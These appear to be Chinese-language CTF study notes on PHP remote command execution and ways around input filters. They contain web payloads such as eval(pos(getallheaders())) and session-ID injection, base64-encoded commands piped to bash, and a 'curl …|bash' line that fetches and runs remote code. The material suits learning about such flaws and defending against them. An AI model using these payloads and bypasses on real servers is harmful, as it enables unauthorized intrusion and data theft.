命令执行基础
常用命令执行函数
注意:怎么运行,运行条件,回显,参数
system
string system ( string $command [, int &$return_var ] )
参数可以是一个,可以是两个,有回显(返回结果)
exec
exec (string command [, string array [, int return_var]])
string command参数 要执行的命令行(必须加)
string array 命令行返回的所有结果,是个数组,如果不printf_r/echo只会回显最后一行
int return_var 命令返回的结果,正常为 0
返回结果用print_r()或者var_dump()显示出来
1 | <?php |
passthru
passthru(string $command,int[optional] $return_value)
string command参数 要执行的命令行(必须加)
输出二进制数据发送到浏览器
# 和system基本没差别
shell _exec
shell_exec(string$command)
string command参数 要执行的命令行(必须加)
没有回显,必须echo
反引号
popen
popen(string $command,string$mode)
string command参数 要执行的命令行(必须加)
mode参数模式,r表示阅读,w表示写入
无回显,如果模式是r,需要fgets读取,再print_r打印
proc_open
pcntl_exec
替换函数绕过过滤
最基础的题型,用上面的函数构造最基础的命令即可
LD_PRELOAD绕过
条件:命令执行函数被严格过滤
程序的链接:静态链接/动态链接
LD_PRELOAD 在程序运行前先加载动态链接库
内嵌在php里
imagick
需要装扩展
基础绕过
操作系统连接符
;使多个命令按顺序执行
& 同时执行多个命令,但是需要变成URL编码%26
&& 前边命令执行成功,后面命令才能执行,否则两条命令都不能执行
| 把前边命令的结果当成后面命令的参数执行,前边和后边的命令都会执行,但是只显示后边命令的执行结果
|| 类似if-esle语句,若前面的命令执行成功,则后面的命令就不会执行;若前面的命令执行失败,则执行后面的命令
空格过滤绕过
1.大括号{ls -l}
2.$IFS代替空格
3.重定向字符<,ls<-l
4.URL编码 %09 tab %20 空格
文件名过滤绕过
条件:flag,php等被过滤
1.通配符? *,在linux里可用于模糊搜索
?代替字母,只能代表单个字符串,但是这个单字必须存在
cat f?ag.php
cat ????.???
*代表字符串
cat f*
2.单引号、双引号绕过
cat fl"ag
注意最外面包裹的是单引号还是双引号,不然闭合会有问题
3.反斜杠\ 把特殊字符去掉功能性,单独表示字符串
ca\t fl\ag
4.特殊变量
$1,$9等
ca$1t fl$9ag
5.内联执行
自定义字符串,再拼接起来

6.利用linux里的环境变量
常见文件读取命令绕过
1.tac 反向显示,从最后一行往前显示,和cat类似
2.more 一页一页显示档案内容
3.less 与more类似
4.tail 查看末尾几行
5.nl显示的时候顺便输出行号
6.od 以二进制的方式读取档案内容
?cmd-passthru("od-A d -c flag .php") 以ASCII码字符串的形式查看
7.xxd 读取二进制文件
8.sort 排序文件
9.uniq 报告或删除文件中重复的行
10.file -f 报错出具体内容
11.grep 在文本中查找指定的字符串
?cmd=passthru("grep fla fla*"); 从fla*文本文件中搜索包含”fla”的字符串
编码绕过
原理:命令编码之后的字符串—>目标服务器解码—>执行命令
**编码后怎么执行?**用|管道符
|会把前面指令执行的结果,变成后面指令的参数
cat flag.php —> Y2F0IGZzYWcucGhw
#echo Y2F0IGZzYWcucGhw | base64 -d
base64 -d用来解码
#echo Y2F0IGZzYWcucGhw | base64 -d | /bash 执行命令
或#echo Y2F0IGZzYWcucGhw | base64 -d 前后加上反引号
或#$(echo Y2F0IGZzYWcucGhw | base64 -d)
常见编码 base64 base32 hex shellcode
无回显时间盲注
前提:页面无shell反弹或无法回显,或没有写入权限
linux相关命令
1.sleep
2.awk NR 逐行获取数据
cat flag.php | awk NR==1 回显flag第一行的内容
3.cut -c逐列获取单个字符
cat flag.php | awk NR==1 |cut -c
4.if语句
脚本
1 | import requests |
注意:url,cmd,cat flag.php需要根据情况修改
长度过滤绕过
前置知识
1.> 写入并覆盖文件
2.>> 追加内容
touch a和>a都是创建文件a
3.命令换行\将一条命令写在多个行
cat a
c\
a\
t \
a
4.ls -t 将文件名按照时间顺序排列出来,按行储存
5.sh从文件中读取命令
目的:对命令长度有限制时,把一些很短的文件名拼接成可执行命令
6.dir 基本和ls一样
好处 开头字母是d,更靠前,并且按列输出不换行
7.rev 把文件的内容倒序排列
长度限制为7
首先要明确期望执行的命令
1 | #encoding:utf-8 |
长度限制为5
新的问题:
ls -t>a长度超过7
``>\ \`无法执行空格
更换期望执行的命令curl 192.168.1.161|bash
和反弹shell有关,目前还没有学
无参数RCE
HTTP请求头RCE
getallheaders()获取所有HTTP请求标头
?code=print_r(getallheaders());
?code=print_r(end(getallheaders()));显示第一项的值
?code=print_r(end(getallheaders()));显示最后一项的值
把connection或者其他请求头,或者自己造一个请求头,里面的内容改成system('ls')
?code=eval(pos(getallheaders()));
全局变量RCE
1.get_defined_vars()
返回已定义变量的值,以数组的形式打印出来
?code=print_r(get_defined_vars())
?code=print_r(pos(get_defined_vars()));&cmd=system('ls');
用&加上想要执行的命令
?code=print_r(end(pos(get_defined_vars())));&cmd=system('ls');
end()获取GET最后一项cmd的值
1 | import requests |
session RCE
1.session_start()启动新对话或者重用现有回话
?code=print_r(session_id(session_start()));
返回PHPSESSION的值
把bp抓包的PHPSESSID改成./flag
用show_source读取源代码
?code=show_source(session_id(session_start()));
?code=eval(session_id(session_start()));
修改PHPSESSIONID的值为命令phpinfo();,但是无法直接执行,需要把phpinfo();用HEX编码转为16进制,写入PHPSESSID,再用hex2bin()函数将16进制转换为二进制数,用eval执行
?code=eval(hex2bin(session_id(session_start())));

scandir读取
略
无字母数字绕过
略





